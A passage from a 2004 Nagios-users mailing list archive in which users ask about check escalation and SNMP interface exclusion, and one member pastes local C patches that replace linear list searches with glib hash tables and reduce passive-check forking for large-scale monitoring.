may want to have a look at > is OpenNMS. I believe this is more scalable for the scenario you > describe and could be a better fit. Please don't take this as lack of > faith in Nagios, I think its great and we looked at using it in > conjunction with OpenView or OpenNMS. In the end the functionality we > wanted had to be built, so using plugins and passive checks worked > well for us. > > Jim Mozley > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 12 12:48:19 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 12 Mar 2004 11:48:19 +0000 Subject: Status Changing In-Reply-To: <5237E8DD31703E4B8F18DE416229C8C0C281AF@legsydms01.leadingedgegroup.com.au> References: <5237E8DD31703E4B8F18DE416229C8C0C281AF@legsydms01.leadingedgegroup.com.au> Message-ID: <4051A383.4040400@exponential-e.com> Rabbie Zalaf wrote: > Hi All, > > I have nagios configured to do some RADUIS checking and have a script > configured to do this. > > What I wish to do is to set Nagios to: > > Execute script ----- OK = OK > | > --- Not OK = Status: Warning > | > Execute script again > | > ---- OK = Status: OK > | > ---- Still Not OK = Status: CRITICAL > > How would I go about doing this as currently all I know how to do is to set > it to CRITICAL apon failure. Nagios does this anyway, depending upon how the service is configured. Each check is executing the plugin with a configurable number of warnings before a critical hard state. Check out the docs for a description of this. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From proftp_cj at kdd.de Fri Mar 12 12:48:24 2004 From: proftp_cj at kdd.de (christian janssen) Date: Fri, 12 Mar 2004 11:48:24 +0000 Subject: SNMP => check_ifstatus - "unused" (exclude) problem In-Reply-To: <09FCA2FF7E92D71186320008C71E91C6031FD161@devwagwodx0029.wo b.vw.de> References: <09FCA2FF7E92D71186320008C71E91C6031FD161@devwagwodx0029.wob.vw.de> <09FCA2FF7E92D71186320008C71E91C6031FD161@devwagwodx0029.wo b.vw.de> Message-ID: <6.0.3.0.2.20040312114111.0270fdc8@195.82.63.16> Hi, I tried to use "check_ifstatus" for general check of cisco interfaces. But because of one "standby port" I have to exclude one interface. It seems I've to use the "-u" unused parameter. But unfortunately I got no succes. First I checked and got this alerting: ./check_ifstatus -H x.x.x.x -C public => E1 6/0: down then I tried: ./check_ifstatus -H x.x.x.x -C public -I -u ifMIB.ifMIBObjects.ifXTable.ifXEntry.ifName.26 ./check_ifstatus -H x.x.x.x -C public -I -u E1 6/0 ./check_ifstatus -H x.x.x.x -C public -I -u E1 6/0/0 any idea. thanks Christian ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From michael at optusnet.com.au Fri Mar 12 13:25:15 2004 From: michael at optusnet.com.au (michael at optusnet.com.au) Date: 12 Mar 2004 23:25:15 +1100 Subject: Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: Noah Leaman writes: > Hopes it's o.k. cross posting to both groups on this matter... > > Using the concept of one service per up/down trap for each network > interface, I tested a little by creating a very simple set of nagios > configs, but with about 8000 PASSIVE service checks and no active > service checks. of course there was no problem in terms of scheduling > issues, but the CGIs all crawled to a snails pace. In my setup (nagios > 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the > Status Summary page. Yes, this is what I'd expect. The problem is that nagios out of the box has some terrible code in it. In particular, there's a lot of places (including the display cgi's) that use O(n^2) algorithms. Some of the time the problem is hidden; Upper level code will do "foreach (list) { action }" where 'action' calls a function also does a linear search of the same list. oops. Other times the problem is obvious: Code that adds elements to the end of a singly linked list. By doing a linear search from the beginning. For each item added. For 12,000 items. oops. In our local version we create hash tables, and pre/post-sort lists to work around the worst of the problems. If you dig through the list archives you'll see the patches that were sent in to fix it for 1.1. That still leaves the other big problem with the passive service checks. Believe it or not, sending a passive result makes nagios fork()!! The parent process reads the check result, fork()s and then resends the result again to the parent. Rather wild stuff. :) Even better is that the child process has to wait around for the parent to handle the send. This is normally masked because the main event loop simply doesn't check the named pipe very frequently, so normally your external scripts will blow up with massive queues waiting for nagios to read the pipe. Nagios out of the box is simply not ready for reasonable scale yet. Michael. Ps. Ok. I saved you some effort. I dug up the local patches: (Note: I didn't write these) * Check the named pipe frequently. * Don't fork() too often when handling passive check results. * Use hash tables and sorted lists to get rid of most of the O(n^2) places. * Sleep only for a short time in the main loop. * allow check for auth-smtp. * fix a few bugs. * introduces depedancy on glib. diff -ru nagios-1.1-virgin/base/Makefile.in nagios-1.1/base/Makefile.in --- nagios-1.1-virgin/base/Makefile.in Thu Jul 10 08:30:10 2003 +++ nagios-1.1/base/Makefile.in Tue Oct 7 13:03:51 2003 @@ -10,9 +10,9 @@ SRC_XDATA=../xdata CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `pkg-config glib --cflags` #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCORE -LDFLAGS=@LDFLAGS@ @LIBS@ +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` prefix=@prefix@ exec_prefix=@exec_prefix@ diff -ru nagios-1.1-virgin/cgi/Makefile.in nagios-1.1/cgi/Makefile.in --- nagios-1.1-virgin/cgi/Makefile.in Thu Jul 10 08:30:10 2003 +++ nagios-1.1/cgi/Makefile.in Tue Oct 7 13:03:51 2003 @@ -25,9 +25,9 @@ CP=@CP@ CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `pkg-config glib --cflags` #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCGI -LDFLAGS=@LDFLAGS@ @LIBS@ +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi summary.cgi tac.cgi $(CGIEXTRAS) diff -ru nagios-1.1-virgin/common/common.h nagios-1.1/common/common.h --- nagios-1.1-virgin/common/common.h Thu Jul 10 08:30:10 2003 +++ nagios-1.1/common/common.h Tue Oct 7 13:03:51 2003 @@ -208,8 +208,12 @@ #define OK 0 #define ERROR -2 /* value was changed from -1 so as to not interfere with STATUS_UNKNOWN plugin result */ +#ifndef TRUE #define TRUE 1 +#endif +#ifndef FALSE #define FALSE 0 +#endif /****************** HOST CONFIG FILE READING OPTIONS ********************/ diff -ru nagios-1.1-virgin/common/config.h.in nagios-1.1/common/config.h.in --- nagios-1.1-virgin/common/config.h.in Thu Jul 10 08:30:10 2003 +++ nagios-1.1/common/config.h.in Tue Oct 7 13:03:51 2003 @@ -214,3 +214,7 @@ #include #endif +#define HAVE_GLIB_H 1 +#ifdef HAVE_GLIB_H +#include +#endif diff -ru nagios-1.1-virgin/common/objects.c nagios-1.1/common/objects.c --- nagios-1.1-virgin/common/objects.c Thu Jul 10 08:30:10 2003 +++ nagios-1.1/common/objects.c Tue Oct 7 13:03:51 2003 @@ -59,7 +59,10 @@ servicedependency *servicedependency_list=NULL; hostdependency *hostdependency_list=NULL; hostescalation *hostescalation_list=NULL; +GTree *service_tree = NULL; +GHashTable *host_hash = NULL; +int service_list_add(char *key, service *v, void *data); /******************************************************************/ @@ -99,6 +102,8 @@ printf("read_object_config_data() end\n"); #endif + g_tree_traverse(service_tree, (GTraverseFunc)service_list_add, G_IN_ORDER, NULL); + return result; } @@ -107,6 +112,13 @@ /**************** OBJECT ADDITION FUNCTIONS ***********************/ /******************************************************************/ +int service_list_add(char *key, service *v, void *data) +{ + v->next = service_list; + service_list = v; + return 0; +} + /* add a new timeperiod to the list in memory */ @@ -747,6 +759,16 @@ printf("\tNotification Interval: %d\n",new_host->notification_interval); printf("\tNotification Time Period: %s\n",new_host->notification_period); #endif + +#ifdef HAVE_GLIB_H + /* Cache host in hash table */ + if (!host_hash) + host_hash = g_hash_table_new(g_str_hash, g_str_equal); + + if (host_hash) + g_hash_table_insert(host_hash, new_host->name, new_host); +#endif + #ifdef DEBUG0 printf("add_host() end\n"); #endif @@ -2173,40 +2195,7 @@ strcpy(new_service->perf_data,""); #endif - /* add new service to service list, sorted by host name then service description */ - last_service=service_list; - for(temp_service=service_list;temp_service!=NULL;temp_service=temp_service->next){ - - if(strcmp(new_service->host_name,temp_service->host_name)<0){ - new_service->next=temp_service; - if(temp_service==service_list) - service_list=new_service; - else - last_service->next=new_service; - break; - } - - else if(strcmp(new_service->host_name,temp_service->host_name)==0 && strcmp(new_service->description,temp_service->description)<0){ - new_service->next=temp_service; - if(temp_service==service_list) - service_list=new_service; - else - last_service->next=new_service; - break; - } - else - last_service=temp_service; - } - if(service_list==NULL){ - new_service->next=NULL; - service_list=new_service; - } - else if(temp_service==NULL){ - new_service->next=NULL; - last_service->next=new_service; - } - #ifdef DEBUG1 printf("\tHost: %s\n",new_service->host_name); printf("\tDescription: %s\n",new_service->description); @@ -2222,6 +2211,19 @@ printf("\tEvent Handler: %s\n",(new_service->event_handler==NULL)?"N/A":new_service->event_handler); #endif +#ifdef HAVE_GLIB_H + /* Cache service in tree */ + if (!service_tree) + service_tree = g_tree_new((GCompareFunc)strcmp); + + if (service_tree) + { + char *key = calloc(strlen(new_service->host_name) + strlen(new_service->description) + 2, 1); + sprintf(key, "%s-%s", new_service->host_name, new_service->description); + g_tree_insert(service_tree, key, new_service); + } +#endif + #ifdef DEBUG0 printf("add_service() end\n"); #endif @@ -3226,6 +3228,13 @@ if(name==NULL) return NULL; +#ifdef HAVE_GLIB_H + /* Lookup host in the hash */ + if (host_hash) + return (host *)g_hash_table_lookup(host_hash, name); +#endif + + if(hst==NULL) temp_host=host_list; else @@ -3500,6 +3509,18 @@ if(host_name==NULL || svc_desc==NULL) return NULL; +#ifdef HAVE_GLIB_H + /* Lookup service in the tree */ + if (service_tree) + { + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); + sprintf(key, "%s-%s", host_name, svc_desc); + temp_service = (service *)g_tree_lookup(service_tree, key); + free(key); + return temp_service; + } +#endif + if(svcptr==NULL) temp_service=service_list; else diff -ru nagios-1.1-virgin/common/statusdata.c nagios-1.1/common/statusdata.c --- nagios-1.1-virgin/common/statusdata.c Thu Jul 10 08:30:10 2003 +++ nagios-1.1/common/statusdata.c Tue Oct 7 13:04:12 2003 @@ -51,6 +51,7 @@ #ifdef NSCGI hoststatus *hoststatus_list=NULL; servicestatus *servicestatus_list=NULL; +GTree *servicestatus_tree=NULL; time_t program_start; int daemon_mode; @@ -320,6 +321,7 @@ /******************************************************************/ +int servicestatus_list_add(servicestatus *key, void *v, void *data); /* reads in all status data */ int read_status_data(char *config_file,int options){ int result=OK; @@ -332,6 +334,7 @@ result=xsddb_read_status_data(config_file,options); #endif + g_tree_traverse(servicestatus_tree, (GTraverseFunc)servicestatus_list_add, G_IN_ORDER, NULL); return result; } @@ -341,6 +344,12 @@ /********************** ADDITION FUNCTIONS ************************/ /******************************************************************/ +int servicestatus_list_add(servicestatus *key, void *v, void *data) +{ + key->next = servicestatus_list; + servicestatus_list = key; + return 0; +} /* sets program status variables */ int add_program_status(time_t _program_start, int _nagios_pid, int _daemon_mode, time_t _last_command_check, time_t _last_log_rotation, int _enable_notifications,int _execute_service_checks,int _accept_passive_service_checks,int _enable_event_handlers,int _obsess_over_services, int _enable_flap_detection, int _enable_failure_prediction, int _process_performance_data){ @@ -534,6 +543,16 @@ return OK; } +int servicestatus_cmp(servicestatus *a, servicestatus *b) +{ + int c; + + c = strcmp(b->host_name, a->host_name); + if (c) + return c; + + return strcmp(b->description, a->description); +} /* adds a service status entry to the list in memory */ int add_service_status(char *host_name,char *svc_description,char *status_string,time_t last_update,int current_attempt,int max_attempts,int state_type,time_t last_check,time_t next_check,int check_type,int checks_enabled,int accept_passive_checks,int event_handler_enabled,time_t last_state_change,int problem_has_been_acknowledged,char *last_hard_state_string,unsigned long time_ok,unsigned long time_warning,unsigned long time_unknown,unsigned long time_critical,time_t last_notification,int current_notification_number,int notifications_enabled, int latency, int execution_time, int flap_detection_enabled, int is_flapping, double percent_state_change, int scheduled_downtime_depth, int failure_prediction_enabled, int process_performance_data, int obsess_over_service, char *plugin_output){ @@ -543,6 +562,8 @@ int status; int last_hard_state; + if (!servicestatus_tree) + servicestatus_tree = g_tree_new( (GCompareFunc) servicestatus_cmp); /* make sure we have what we need */ if(host_name==NULL) @@ -724,41 +745,7 @@ /* scheduled downtime depth */ new_svcstatus->scheduled_downtime_depth=scheduled_downtime_depth; - - /* add new service status to list, sorted by host name then description */ - last_svcstatus=servicestatus_list; - for(temp_svcstatus=servicestatus_list;temp_svcstatus!=NULL;temp_svcstatus=temp_svcstatus->next){ - - if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)<0){ - new_svcstatus->next=temp_svcstatus; - if(temp_svcstatus==servicestatus_list) - servicestatus_list=new_svcstatus; - else - last_svcstatus->next=new_svcstatus; - break; - } - - else if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)==0 && strcmp(new_svcstatus->description,temp_svcstatus->description)<0){ - new_svcstatus->next=temp_svcstatus; - if(temp_svcstatus==servicestatus_list) - servicestatus_list=new_svcstatus; - else - last_svcstatus->next=new_svcstatus; - break; - } - - else - last_svcstatus=temp_svcstatus; - } - if(servicestatus_list==NULL){ - new_svcstatus->next=NULL; - servicestatus_list=new_svcstatus; - } - else if(temp_svcstatus==NULL){ - new_svcstatus->next=NULL; - last_svcstatus->next=new_svcstatus; - } - + g_tree_insert(servicestatus_tree, new_svcstatus, new_svcstatus); return OK; } diff -ru nagios-1.1-virgin/contrib/Makefile.in nagios-1.1/contrib/Makefile.in --- nagios-1.1-virgin/contrib/Makefile.in Thu Jul 10 08:30:10 2003 +++ nagios-1.1/contrib/Makefile.in Tue Oct 7 13:03:51 2003 @@ -5,8 +5,8 @@ ############################### CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -LDFLAGS=@LDFLAGS@ @LIBS@ +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` # Source code directories SRC_COMMON=../common diff -ru nagios-1.1-virgin/html/Makefile.in nagios-1.1/html/Makefile.in --- nagios-1.1-virgin/html/Makefile.in Thu Jul 10 08:30:10 2003 +++ nagios-1.1/html/Makefile.in Tue Oct 7 13:03:51 2003 @@ -1,6 +1,6 @@ CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -LDFLAGS=@LDFLAGS@ @LIBS@ +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` prefix=@prefix@ exec_prefix=@exec_prefix@ diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 +++ nagios-1.1/cgi/status.c Tue Oct 7 12:29:00 2003 @@ -1151,6 +1151,7 @@ printf("Attempt Sort by current attempt (ascending)Sort by current attempt (descending)",temp_url,SORT_ASCENDING,SORT_CURRENTATTEMPT,url_images_path,UP_ARROW_ICON,temp_url,SORT_DESCENDING,SORT_CURRENTATTEMPT,url_images_path,DOWN_ARROW_ICON); printf("Status Information\n"); + printf("Ack\n"); printf("\n"); @@ -1499,6 +1500,15 @@ printf("%s\n",status_bg_class,state_duration); printf("%d/%d\n",status_bg_class,temp_status->current_attempt,temp_status->max_attempts); printf("%s \n",status_bg_class,temp_status->information); + if (temp_status->status==SERVICE_OK) + { + printf(" \n",status_bg_class); + } + else + { + printf("Ack\n", url_encode(temp_status->description)); + } printf("\n"); diff -u -b -B -r1.1.1.1 Makefile.in --- base/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ base/Makefile.in 29 Jul 2003 08:22:54 -0000 @@ -10,9 +10,9 @@ SRC_XDATA=../xdata CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `glib-config --cflags` #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCORE -LDFLAGS=@LDFLAGS@ @LIBS@ +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` prefix=@prefix@ exec_prefix=@exec_prefix@ diff -u -b -B -r1.1.1.1 Makefile.in --- cgi/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ cgi/Makefile.in 29 Jul 2003 08:22:54 -0000 @@ -25,9 +25,9 @@ CP=@CP@ CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `glib-config --cflags` #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCGI -LDFLAGS=@LDFLAGS@ @LIBS@ +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi summary.cgi tac.cgi $(CGIEXTRAS) diff -u -b -B -r1.1.1.2 common.h --- common/common.h 23 Jun 2003 01:57:24 -0000 1.1.1.2 +++ common/common.h 29 Jul 2003 08:22:54 -0000 @@ -208,8 +208,12 @@ #define OK 0 #define ERROR -2 /* value was changed from -1 so as to not interfere with STATUS_UNKNOWN plugin result */ +#ifndef TRUE #define TRUE 1 +#endif +#ifndef FALSE #define FALSE 0 +#endif /****************** HOST CONFIG FILE READING OPTIONS ********************/ diff -u -b -B -r1.1.1.1 config.h.in --- common/config.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ common/config.h.in 29 Jul 2003 08:22:54 -0000 @@ -214,3 +214,7 @@ #include #endif +#define HAVE_GLIB_H 1 +#ifdef HAVE_GLIB_H +#include +#endif diff -u -b -B -r1.1.1.1 objects.c --- common/objects.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ common/objects.c 29 Jul 2003 08:22:54 -0000 @@ -59,6 +59,7 @@ servicedependency *servicedependency_list=NULL; hostdependency *hostdependency_list=NULL; hostescalation *hostescalation_list=NULL; +GHashTable *service_hash = NULL; @@ -2222,6 +2223,19 @@ printf("\tEvent Handler: %s\n",(new_service->event_handler==NULL)?"N/A":new_service->event_handler); #endif +#ifdef HAVE_GLIB_H + /* Cache service in hash table */ + if (!service_hash) + service_hash = g_hash_table_new(g_str_hash, g_str_equal); + + if (service_hash) + { + char *key = calloc(strlen(new_service->host_name) + strlen(new_service->description) + 2, 1); + sprintf(key, "%s-%s", new_service->host_name, new_service->description); + g_hash_table_insert(service_hash, key, new_service); + } +#endif + #ifdef DEBUG0 printf("add_service() end\n"); #endif @@ -3500,6 +3514,18 @@ if(host_name==NULL || svc_desc==NULL) return NULL; +#ifdef HAVE_GLIB_H + /* Lookup service in the hash */ + if (service_hash) + { + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); + sprintf(key, "%s-%s", host_name, svc_desc); + temp_service = (service *)g_hash_table_lookup(service_hash, key); + free(key); + return temp_service; + } +#endif + if(svcptr==NULL) temp_service=service_list; else diff -u -b -B -r1.1.1.2 Makefile.in --- contrib/Makefile.in 23 Jun 2003 01:57:24 -0000 1.1.1.2 +++ contrib/Makefile.in 29 Jul 2003 08:22:54 -0000 @@ -5,8 +5,8 @@ ############################### CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -LDFLAGS=@LDFLAGS@ @LIBS@ +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` # Source code directories SRC_COMMON=../common diff -u -b -B -r1.1.1.1 Makefile.in --- html/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ html/Makefile.in 29 Jul 2003 08:22:54 -0000 @@ -1,6 +1,6 @@ CC=@CC@ -CFLAGS=@CFLAGS@ @DEFS@ -LDFLAGS=@LDFLAGS@ @LIBS@ +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` prefix=@prefix@ exec_prefix=@exec_prefix@ diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 +++ nagios-1.1/cgi/status.c Wed Nov 26 18:01:16 2003 @@ -1293,9 +1293,15 @@ strncpy(status,"CRITICAL",sizeof(status)); status_class="CRITICAL"; if(temp_status->problem_has_been_acknowledged==TRUE) + { status_bg_class="BGCRITICALACK"; + status_class="BGCRITICALACK"; + } else if(temp_status->scheduled_downtime_depth>0) + { status_bg_class="BGCRITICALSCHED"; + status_class="BGCRITICALSCHED"; + } else status_bg_class="BGCRITICAL"; } diff -ur nagios-1.1-virgin/base/nagios.c nagios-1.1/base/nagios.c --- nagios-1.1-virgin/base/nagios.c Thu Jul 10 08:30:10 2003 +++ nagios-1.1/base/nagios.c Thu Jul 10 08:32:20 2003 @@ -51,6 +51,8 @@ #include #endif +#include + /******** BEGIN EMBEDDED PERL INTERPRETER DECLARATIONS ********/ #ifdef EMBEDDEDPERL @@ -1497,6 +1499,8 @@ printf("Current/Max Outstanding Checks: %d/%d\n",currently_running_service_checks,max_parallel_service_checks); #endif + check_for_external_commands(); + /* handle high priority events */ if(event_list_high!=NULL && (current_time>=event_list_high->run_time)){ @@ -1594,8 +1598,13 @@ } /* wait a second so we don't hog the CPU... */ - else - sleep((unsigned int)sleep_time); + else { + struct timespec t; + t.tv_sec = 0; + t.tv_nsec = 1000 * 1000 * 50; + nanosleep(&t, NULL); + //check_for_external_commands(); + } } /* we don't have anything to do at this moment in time */ @@ -1606,7 +1615,12 @@ check_for_external_commands(); /* wait a second so we don't hog the CPU... */ - sleep((unsigned int)sleep_time); + + { struct timespec t; + t.tv_sec = 0; + t.tv_nsec = 1000 * 1000 * 50; + nanosleep(&t, NULL); } + } } --- commands.c.old Sat Aug 2 14:13:23 2003 +++ nagios-1.1/base/commands.c Sat Aug 2 14:13:53 2003 @@ -347,8 +347,19 @@ /**** PROCESS ALL PASSIVE CHECK RESULTS AT ONE TIME ****/ - if(passive_check_result_list!=NULL) - process_passive_service_checks(); + { + static unsigned int last_checked = 0; + unsigned int t; + + /* Don't process more frequently than once every 5 seconds. */ + /* This does a fork!!! */ + time(&t); + if(passive_check_result_list!=NULL && ((t - last_checked) > 5) ) { + process_passive_service_checks(); + last_checked = t; + } + } + #ifdef DEBUG0 --- commands.c.old Sat Aug 2 15:37:31 2003 +++ nagios-1.1/base/commands.c Sat Aug 2 15:44:36 2003 @@ -63,7 +63,7 @@ extern FILE *command_file_fp; -passive_check_result *passive_check_result_list; +passive_check_result *passive_check_result_list = NULL; int flush_pending_commands=FALSE; @@ -96,9 +96,6 @@ /* update the status log with new program information */ update_program_status(FALSE); - /* reset passive check result list pointer */ - passive_check_result_list=NULL; - /* reset flush flag */ flush_pending_commands=FALSE; @@ -1279,13 +1276,9 @@ new_pcr->next=NULL; - /* add the passive check result to the end of the list in memory */ - if(passive_check_result_list==NULL) - passive_check_result_list=new_pcr; - else{ - for(temp_pcr=passive_check_result_list;temp_pcr->next!=NULL;temp_pcr=temp_pcr->next); - temp_pcr->next=new_pcr; - } + /* add the passive check result to the head of the list in memory */ + new_pcr->next = passive_check_result_list; + passive_check_result_list = new_pcr; #ifdef DEBUG0 printf("cmd_process_service_check_result() end\n"); @@ -2845,6 +2838,17 @@ /* the grandchild process should submit the service check result... */ if(pid==0){ + passive_check_result *t, *t1; + /* Reverse passive list to correct the reverse that happened in collection. */ + + t = passive_check_result_list; + passive_check_result_list = NULL; + while (t) { + t1 = t->next; + t->next = passive_check_result_list; + passive_check_result_list = t; + t = t1; + } /* write all service checks to the IPC pipe for later processing by the grandparent */ for(temp_pcr=passive_check_result_list;temp_pcr!=NULL;temp_pcr=temp_pcr->next){ Index: base/checks.c =================================================================== RCS file: /home/cvs/repos/nagios_source/base/checks.c,v retrieving revision 1.1.1.1 diff -u -r1.1.1.1 checks.c --- base/checks.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ base/checks.c 7 Dec 2003 21:15:43 -0000 @@ -522,6 +522,7 @@ time_t current_time; int first_check=FALSE; int state_was_logged=FALSE; + int output_changed = FALSE; char old_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; char temp_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; char *temp_ptr; @@ -617,6 +618,7 @@ dependency_result=DEPENDENCIES_OK; first_check=FALSE; state_was_logged=FALSE; + output_changed=FALSE; strcpy(old_plugin_output,""); strcpy(temp_plugin_output,""); @@ -705,6 +707,9 @@ /* grab the return code */ temp_service->current_state=queued_svc_msg.return_code; } + + if (strcmp(old_plugin_output,temp_service->plugin_output)) + output_changed = TRUE; /* get the host that this service runs on */ temp_host=find_host(temp_service->host_name,NULL); @@ -835,7 +840,7 @@ state_was_logged=TRUE; /* notify contacts about the service recovery */ - service_notification(temp_service,NULL); + service_notification(temp_service,NULL,output_changed); /* run the service event handler to handle the hard state change */ handle_service_event(temp_service,HARD_STATE); @@ -1064,7 +1069,7 @@ check_pending_flex_service_downtime(temp_service); /* (re)send notifications out about this service problem if the host is up (and was at last check also) and the dependencies were okay... */ - service_notification(temp_service,NULL); + service_notification(temp_service,NULL,output_changed); /* run the service event handler if we changed state from the last hard state or if this service is flagged as being volatile */ if(hard_state_change==TRUE || temp_service->is_volatile==TRUE) @@ -1103,7 +1108,6 @@ /* if we're stalking this state type and state was not already logged AND the plugin output changed since last check, log it now.. */ if(temp_service->state_type==HARD_STATE && state_change==FALSE && state_was_logged==FALSE && strcmp(old_plugin_output,temp_service->plugin_output)){ - if((temp_service->current_state==STATE_OK && temp_service->stalk_on_ok==TRUE)) log_service_event(temp_service,HARD_STATE); Index: base/commands.c =================================================================== RCS file: /home/cvs/repos/nagios_source/base/commands.c,v retrieving revision 1.1.1.1 diff -u -r1.1.1.1 commands.c --- base/commands.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ base/commands.c 7 Dec 2003 21:15:43 -0000 @@ -2277,7 +2277,7 @@ /* send out an acknowledgement notification */ if(notify==TRUE) - service_notification(svc,ack_data); + service_notification(svc,ack_data,0); /* set the acknowledgement flag */ svc->problem_has_been_acknowledged=TRUE; Index: base/flapping.c =================================================================== RCS file: /home/cvs/repos/nagios_source/base/flapping.c,v retrieving revision 1.1.1.1 diff -u -r1.1.1.1 flapping.c --- base/flapping.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ base/flapping.c 7 Dec 2003 21:15:43 -0000 @@ -321,7 +321,7 @@ /* should we send a recovery notification? */ if(svc->check_flapping_recovery_notification==TRUE && svc->current_state==STATE_OK) - service_notification(svc,NULL); + service_notification(svc,NULL,0); /* clear the recovery notification flag */ svc->check_flapping_recovery_notification=FALSE; Index: base/nagios.h.in =================================================================== RCS file: /home/cvs/repos/nagios_source/base/nagios.h.in,v retrieving revision 1.1.1.1 diff -u -r1.1.1.1 nagios.h.in --- base/nagios.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ base/nagios.h.in 7 Dec 2003 21:15:44 -0000 @@ -367,10 +367,10 @@ /**** Notification Functions ****/ -int check_service_notification_viability(service *,char *); /* checks viability of notifying all contacts about a service */ +int check_service_notification_viability(service *,char *,int); /* checks viability of notifying all contacts about a service */ int is_valid_escalation_for_service_notification(service *,serviceescalation *); /* checks if an escalation entry is valid for a particular service notification */ int should_service_notification_be_escalated(service *); /* checks if a service notification should be escalated */ -int service_notification(service *,char *); /* notify all contacts about a service (problem or recovery) */ +int service_notification(service *,char *,int); /* notify all contacts about a service (problem or recovery) */ int check_contact_service_notification_viability(contact *, service *); /* checks viability of notifying a contact about a service */ int notify_contact_of_service(contact *,service *,char *); /* notify a single contact about a service */ int check_host_notification_viability(host *,int,char *); /* checks viability of notifying all contacts about a host */ Index: base/notifications.c =================================================================== RCS file: /home/cvs/repos/nagios_source/base/notifications.c,v retrieving revision 1.1.1.1 diff -u -r1.1.1.1 notifications.c --- base/notifications.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ base/notifications.c 7 Dec 2003 21:15:44 -0000 